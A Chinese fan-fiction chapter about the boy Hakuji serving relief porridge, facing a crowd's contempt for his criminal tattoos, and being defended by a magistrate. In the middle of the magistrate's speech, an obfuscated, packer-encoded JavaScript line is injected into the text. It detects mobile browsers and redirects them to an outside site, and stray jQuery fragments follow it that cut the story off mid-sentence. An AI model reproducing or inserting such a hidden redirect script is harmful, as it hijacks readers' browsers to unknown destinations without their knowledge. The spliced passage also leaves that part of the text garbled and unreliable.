“我啊，也有个孩子。”


    厨娘提着桶水在前头走，狛治抱着一捆柴跟在她身后，雨水顺着屋檐哗哗往下流。


    奉行公馆里真正接纳他的人不多，奉行算一个，小黑老师算一个，但他们都很忙，现在厨娘也算一个。


    锻炼和识字的空隙，他就会来厨房帮工。


    “当年逃荒的时候走散了。”厨娘轻叹一口气，“要是长大了，应该跟你一般年纪吧。”


    狛治蹲在灶下拿着火箸拨开昨晚留下的灰烬。


    取出一撮稻草扭成团，塞进去再压上几根细柴，打火石擦出火花，风吹旺了，便熟练地添上几根劈柴。


    木头迸出清脆的爆裂声，灶膛里逐渐亮起温暖的红光。


    “要是能跟你一样长大就好了。”厨娘看着他的手臂上的刺青，“要是能长大……就好了。”


    到饭点的时候厨房早就排满了队。


    狛治跟厨娘一人一个大勺在给空饭盒里添饭。


    一群人紧张兮兮全神贯注地盯着台面，等待菜品准备好了，一群人便宛若猛虎下山一般，势如闪电探向先前就锁定好的几个饭盒。


    “哈哈哈今天我抢到了幸运的午饭！”


    厨娘亲手打的饭很快从台面上清空，剩下的饭盒三三两两地摆在那，仆役们愁眉苦脸地伸手去取。


    “怎么又只剩下鬼之盒饭了……”


    “手又慢了，拿到了不详的饭wuwuwu”


    “怪不得我今天被小黑大人骂了。”


    “我已经一个礼拜没有抢到正常的饭了呜呜呜。”


    狛治站在锅边的凳子上盯着愁眉苦脸哀嚎的那人。


    对上视线，那人默默噤声，而后调动面部的全部肌肉，挤出一个生硬的笑来。


    今天做的是麻婆豆腐，锅底还剩下一些。


    狛治把最后的豆腐捞进自己的饭盒里，从凳子上跳下来，坐在后门门槛吃。


    厨娘虽然有邀请过他去自己那桌吃，但他拒绝了。


    但哪怕不坐在屋里，也能听到细碎的声音——


    “鬼之子的眼神好可怕。”


    “他刚刚好像还瞪了我一眼，呜呜呜呜，吓到我了。”


    “他命真好，一个罪人怎么能得到奉行大人的青睐。”


    “你说他特意来厨房帮忙，会不会是想来偷吃啊！”


    一天天的，只会把这些话翻来覆去地说。


    狛治扒干净盒饭，扭头就去锻炼了。


    厨娘也能听到这些话，每次饭后都一脸歉意地看他，后来他就不留下来收拾了。


    第二天难得放晴，狛治去厨房的时候发现厨娘正指挥着人把铁锅往奉行町门外运。


    “去干什么？”狛治问。


    “施粥。”厨娘说，“这些天一直下雨，外头的米价都飙到天上去了，奉行大人说是要开仓放粮，临时设了粥场呢。”


    狛治跟在后面给她搭把手。


    十五口大铁锅，一字排开，临时支在奉行町门外。


    一斗米，十桶水，白色的米粒只能在锅底铺出薄薄的一层，米汤稀得能映出人影。


    锅边天还没亮就排起了长队，日雇工人，长屋贫民、寡妇、孤儿、老人、灾民、流民，密密麻麻一眼望不到头。手里多捧着个碗，木碗、漆碗、竹碗、铁罐、还有瓦片拼凑起来的陶碗，狛治很熟悉。


    他以前一般会特意挑个大又深的罐子，混在队伍里领一回，而后跑巷尾的泥巴地里往脸上衣上抹点灰，有时施粥的人忙过头没仔细看，或是睁一只眼闭一只眼，运气好还能再领一回。


    柴火劈里啪啦炸得直响，空气里还有雨水湿漉漉的潮气。


    锅很快就烧开了。


    “你来分吗？”温和的声音自身后响起，一柄长勺放到狛治面前。


    狛治扭头，竟然是奉行大人，“不太好……”


    “来分吧，没关系的。”白城轻轻揉了揉他的脑袋，“几天不见，长高了。小黑跟我说，你识字识得很快。”


    “还行吧。”狛治嘟囔了一声，接过了长勺，随手舀了一勺，目测了一下锅的深度，“这一锅分给多少人？”


    “200-300，你看着分就行。”白城看着他圆润的小脸蛋，哈特软软的。


    这些天营养跟上了，少年的身形开始抽条，圆润的小脸蛋也开始挂肉了。


    “近日暴雨连绵，庄稼歉收，近日奉行町每天都会施粥，帮助大家共度难关。”白城朗声道，“大家安静排队，一人一碗，不必争抢。”


    长龙似的人群开始往前挤，排在狛治这一锅的队伍最前方是一个饿得面黄肌瘦的老人。


    他颤颤巍巍地伸出陶碗，看到狛治手臂的刺青，浑浊的眼神一凝，接过碗就走了，随意找了个墙角，狼吞虎咽地往嘴里灌。


    大部分的人都是这般，他们饿极了，已经没空闹事，也不在意这粥到底谁分给的他们。


    接过粥的人四散开来，后面排队的人又再次顶上，直到狛治打粥的手臂都有点酸痛，依旧没能听到一句谢谢，甚至连友善的对视都少得可怜。


    一个瘦弱的小孩踮着脚把碗伸到他前面。


    他伸手接过，青黑的刺青在阳光下发光。


    可小孩却把碗往后缩了半尺，马上往后退了一步，扭头尖声喊道：“娘，那人身上……”


    小孩立马被母亲捂住了嘴。


    可下一秒，排在人群后的壮汉就大喊了一声，“我早就觉得不对！凭什么一个罪人也能给人施粥？”


    狛治捏着勺柄的手出了青筋，额头跳了两下，眯眼往壮汉那看去。


    人群躁动起来，四下开始低低议论，


    “罪人的手脚能干净么？后厨打杂便罢了，怎么能伸手到锅里来？”


    “要是他手里暗中作怪怎么办？往锅里撒脏东西谁晓得？”


    而后骚动着推搡着往前挤，有人低声咒骂，有人扬起袖子指着：


    “官府这是怜我们，还是羞辱我们？”


    “宁可少一口，也不要罪人手里讨饭！”


    “凭什么罪人都能去官府帮工，我们却只能在这外面？”


    “你个死胖子在这鬼叫……”狛治放下勺子，提拳就往胖子那里冲。


    一双修长的手兀地摁住他的肩头，狛治停下，仰头发现是白城。


    “闹事者一律——”白城清声开口，声音冷厉如刀，“先记名，后问罪！


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328204|182609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    人群一瞬噤声，推搡的手慢慢收回去，先前喊得最凶的几人连忙缩到人堆后。


    白城缓缓环顾一圈，眼神凌厉，语调却转缓：“今早一共十五口锅，自辰时六点分到巳时十点，别的锅前人手换了三批，唯有狛治一直站在这。领粥的人都换了几批，他还一直站在这。”


    “论分粥，他分得最快，舀得最稳，米汤均匀，碗里不光是浆，也都落下几粒米花。到此刻，唯独这口锅的锅底，还留得最少。”


    “罪人犯过罪，所以站在锅前劳作，以力赎身。你们如果嫌弃他，大可去排别处，不必伸手来领。”


    说到这里，白城略一停顿，拍了拍狛治的肩，话音沉稳：“至于旁的罪人，若能洗心革面、改过自新，官府自会为其谋得一份生计。墨刑，本是警戒与威慑之法，却非一刀切断生路。人人都有重新做人的机会。”


    面前的身影清瘦，却是有人第一次挡在他身前。


    原来……我也能被人保护吗？


    人群安分了下来。


    正如白城所说，若是嫌弃大可排去别处。


    那群人嘴上虽然抱怨罪人分粥，可身体还是排在这一队伍，甚至排队的人不减反增越来越多。


    流民不是第一回来领粥了。谁的手稳，谁分的粥多，自个心底都门清。


    领过的，自然会跟后来的亲朋好友交流。


    经过这一遭，狛治舀粥的手还是很稳。


    队伍很快排到了最开始闹事的死胖子那，胖子伸出碗来，一双三白眼吊着，只让他打。


    狛治睨了他一眼，冷哼一声把碗接过来。


    这在奉行町门口，他不想惹事，让白城下不来台。


    米汤进碗，手心滚烫，方要递出去，白城把他拦下了。


    白城看着胖子，嘴角勾着笑，一双杏眼却不见笑意，“我的孩子刚被你辱骂了去，怎么能这么快消气呢？”


    胖子看见奉行眼神都变得清澈了些，眼轱辘一转，扭头就想混进人群里。


    下一秒，被周围的捕吏摁住了肩胛，强行跪在了地上。


    “给他道歉。”白城温声道。


    胖子咬牙挣了挣，而后抬头，目露狠意，近乎咬牙，一字一顿，“对不起。”


    “你原谅他了吗？”白城半蹲下身来问狛治。


    狛治皱眉，“我不在意……”


    “不如罚他在这替你分粥。”白城抬手示意捕吏松开，“你站了一上午，脸都晒红了，下去歇歇。”


    白城将狛治先前舀给胖子的那碗放到他面前，“分完粥，才有粥喝。既然你不服，那就由你来——想必你一定能干得更好。”


    随后，白城转身朗声对百姓道：“从这一碗起，分量便以此为准。”


    “若是少了——就叫他重来。”


    “这个责罚，满意吗？”白城蹲下身揉了揉狛治的头发。


    狛治有些羞恼地往后退了两步，“都说了我不在意……”


    “真的？”白城挑眉逗他。


    “……”狛治默了下来，而后勾了勾白城的衣袖，“谢谢您。”


    他仰头，一双蓝眼睛像天空那样镀上阳光的亮色，“我很满意。”